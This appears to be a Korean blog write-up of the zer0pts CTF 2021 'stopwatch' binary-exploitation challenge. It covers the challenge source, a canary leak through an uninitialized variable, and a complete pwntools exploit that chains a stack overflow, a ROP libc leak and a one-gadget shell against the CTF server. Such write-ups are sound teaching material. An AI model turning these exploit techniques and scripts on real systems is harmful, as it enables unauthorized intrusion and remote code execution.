CTF(Capture The Flag)/zeroptf 2021

stopwatch

cyanhe_wh 2021. 3. 12. 13:27
반응형

파일정보

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, 
BuildID[sha1]=671697b357d39525a86658e92e5aa52b783012ff, not stripped

$ pwn checksec chall
[*] '/root/stopwatch/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

코드

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>

char name[0x80];

void readuntil(char t) {
  char c;
  do {
    c = getchar();
    if (c == EOF) exit(1);
  } while(c != t);
}

int ask_again(void) {
  char buf[0x10];
  printf("Play again? (Y/n) ");
  scanf("%s", buf);
  readuntil('\n');
  if (buf[0] == 'n' || buf[0] == 'N')
    return 0;
  else
    return 1;
}

void ask_time(double *t) {
  printf("Time[sec]: ");
  scanf("%lf", t);
  readuntil('\n');
}

double play_game(void) {
  struct timeval start, end;
  double delta, goal, diff;

  ask_time(&goal);
  printf("Stop the timer as close to %lf seconds as possible!\n", goal);
  puts("Press ENTER to start / stop the timer.");

  readuntil('\n');
  gettimeofday(&start, NULL);
  puts("Timer started.");

  readuntil('\n');
  gettimeofday(&end, NULL);
  puts("Timer stopped.");

  diff = end.tv_sec - start.tv_sec
    + (double)(end.tv_usec - start.tv_usec) / 1000000;

  if (diff == goal) {
    printf("Exactly %lf seconds! Congratulaions!\n", goal);
  } else if (diff < goal) {
    delta = goal - diff;
    printf("Faster by %lf sec!\n", delta);
  } else {
    delta = diff - goal;
    printf("Slower by %lf sec!\n", delta);
  }
  if (delta > 0.5) {
    puts("Too lazy. Try harder!");
  }

  return delta;
}

unsigned char ask_number(void) {
  unsigned int n;
  printf("How many times do you want to try?\n> ");
  scanf("%d", &n);
  return (unsigned char)n;
}

void ask_name(void) {
  char _name[0x80];
  printf("What is your name?\n> ");
  scanf("%s", _name);
  strcpy(name, _name);
}

/**
 * Entry Point
 */
int main(void) {
  unsigned char i, n;
  double *records, best = 31137.31337;

  ask_name();
  n = ask_number();
  records = (double*)alloca(n * sizeof(double));

  for(i = 0; i < n; i++) records[i] = 31137.31337;

  for(i = 0; ; i++) {
    printf("-=-=-=-= CHALLENGE %03d =-=-=-=-\n", i + 1);
    records[i] = play_game();
    if (i >= n - 1) break;
    if (!ask_again()) break;
  }

  for(i = 0; i < n; i++) {
    if (best > records[i]) {
      best = records[i];
    }
  }
  puts("-=-=-=-= RESULT =-=-=-=-");
  printf("Name: %s\n", name);
  printf("Best Score: %lf\n", best);

  return 0;
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(300);
}

풀이

int ask_again(void) {
  char buf[0x10];
  printf("Play again? (Y/n) ");
  scanf("%s", buf);
  readuntil('\n');
  if (buf[0] == 'n' || buf[0] == 'N')
    return 0;
  else
    return 1;
}

void ask_name(void) {
  char _name[0x80];
  printf("What is your name?\n> ");
  scanf("%s", _name);
  strcpy(name, _name);
}

ask_again과 ask_name에서 Stack Overflow 취약점이 존재한다. 그러나 보호기법인 Stack Canary가 존재하여, 무작정 Overwrite하는 것은 불가능하다.


canary를 찾아보면 rsp(0x7ffeb58950f0)위치보다 윗쪽에도 존재하는 것을 볼 수 있다.

void ask_time(double *t) {
  printf("Time[sec]: ");
  scanf("%lf", t);
  readuntil('\n');
}

double play_game(void) {
  struct timeval start, end;
  double delta, goal, diff;

  ask_time(&goal);
  printf("Stop the timer as close to %lf seconds as possible!\n", goal);
  puts("Press ENTER to start / stop the timer.");

// ==============================================
int main(void) {
  unsigned char i, n;
  double *records, best = 31137.31337;

  ask_name();
  n = ask_number();
  records = (double*)alloca(n * sizeof(double));

  for(i = 0; i < n; i++) records[i] = 31137.31337;

play_game에서 goal 변수를 따로 초기화하지 않는다. ask_time에서 scanf의 에러를 내면 검증 코드가 존재하지 않으므로 goal 변수에 값을 안쓴다. 그리고 printf에서 goal 값을 출력해준다.

만약 goal에 canary 값이 존재하면 canary가 leak된다.

goal가 canary에 있는 위치로 맞추려면, ask_number반환 값 n으로 스택을 할당받는 양을 조절할 수 있다.

canary 값을 릭이 된다면, ask_again에서 Stack Overflow를 발생시켜 ROP를 이용해 exploit이 가능하다.

Exploit

import struct
from pwn import *

p = remote('pwn.ctf.zer0pts.com', 9002)

elf = ELF('./chall')
lib = ELF('./libc.so.6')

def double_to_int(f):
    return struct.unpack('<Q', struct.pack('<d', f))[0]

def ask_name(name):
    print(p.sendlineafter('\n> ', name))

def ask_number(num):
    print(p.sendlineafter('\n> ', str(num)))

def ask_time():
    print(p.sendlineafter('Time[sec]: ', 'l'))
    p.send('\n')

def ask_again(buf):
    print(p.sendlineafter('Y/n) ', buf))
    p.send('\n')

def play():
    print(p.recvuntil('\n'))

    ask_time()
    print(p.recvuntil('Stop the timer as close to '))
    leak_canary = float(p.recvuntil(' seconds as possible!\n', drop=True))
    if leak_canary == 0.0:
        log.failure(f'canary: {leak_canary}')
        exit(1)
    canary = double_to_int(leak_canary)
    log.info(f'canary: {hex(canary)}')

    print(p.recvuntil('\n'))

    p.send('\n')
    print(p.recvuntil('\n'))

    p.send('\n')
    print(p.recvuntil('\n'))

    print(p.recvuntil('\n'))
    print(p.recvuntil('\n'))

    return canary

# gadget, 주소에 0x20, 0x0b등 공백이 들어가면 짤림
p_rdi = 0x400e93
p_rsi_r15 = 0x400e91

puts_plt = elf.plt['puts']
lib_start_main = 0x601ff0
ask_again_addr = 0x40089b

ask_name('a')
ask_number(16)
canary = play()

payload = b'A' * 0x18
payload += p64(canary)
payload += b'A' * 8

# lib_start_main leak, puts(lib_start_main)
payload += p64(p_rdi)
payload += p64(lib_start_main)
payload += p64(puts_plt)
payload += p64(ask_again_addr)
ask_again(payload)

# lib_start_main leak
lib_start_main_leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = lib_start_main_leak - lib.symbols['__libc_start_main']
one_shot = libc_base + 0x10a428
pop_rax = libc_base + 0x43ae8

log.info(f'one shot: {hex(one_shot)}')

# execve('/bin/sh', 0, 0)
payload = payload[:0x28]
payload += p64(p_rsi_r15)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(pop_rax)
payload += p64(0x601fe0)
payload += p64(one_shot)
ask_again(payload)

p.interactive()

Flag

zer0pts{l34k_fr0m_pr3c1s3ly-al1gn3d_un1n1t14l1z3d_buff3r}

반응형

'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글

safe_vector  (0) 2021.04.07
baby sqli  (0) 2021.03.12
GuestFS:AFR  (0) 2021.03.12
OneShot  (0) 2021.03.12
Not Beginner's Stack  (0) 2021.03.12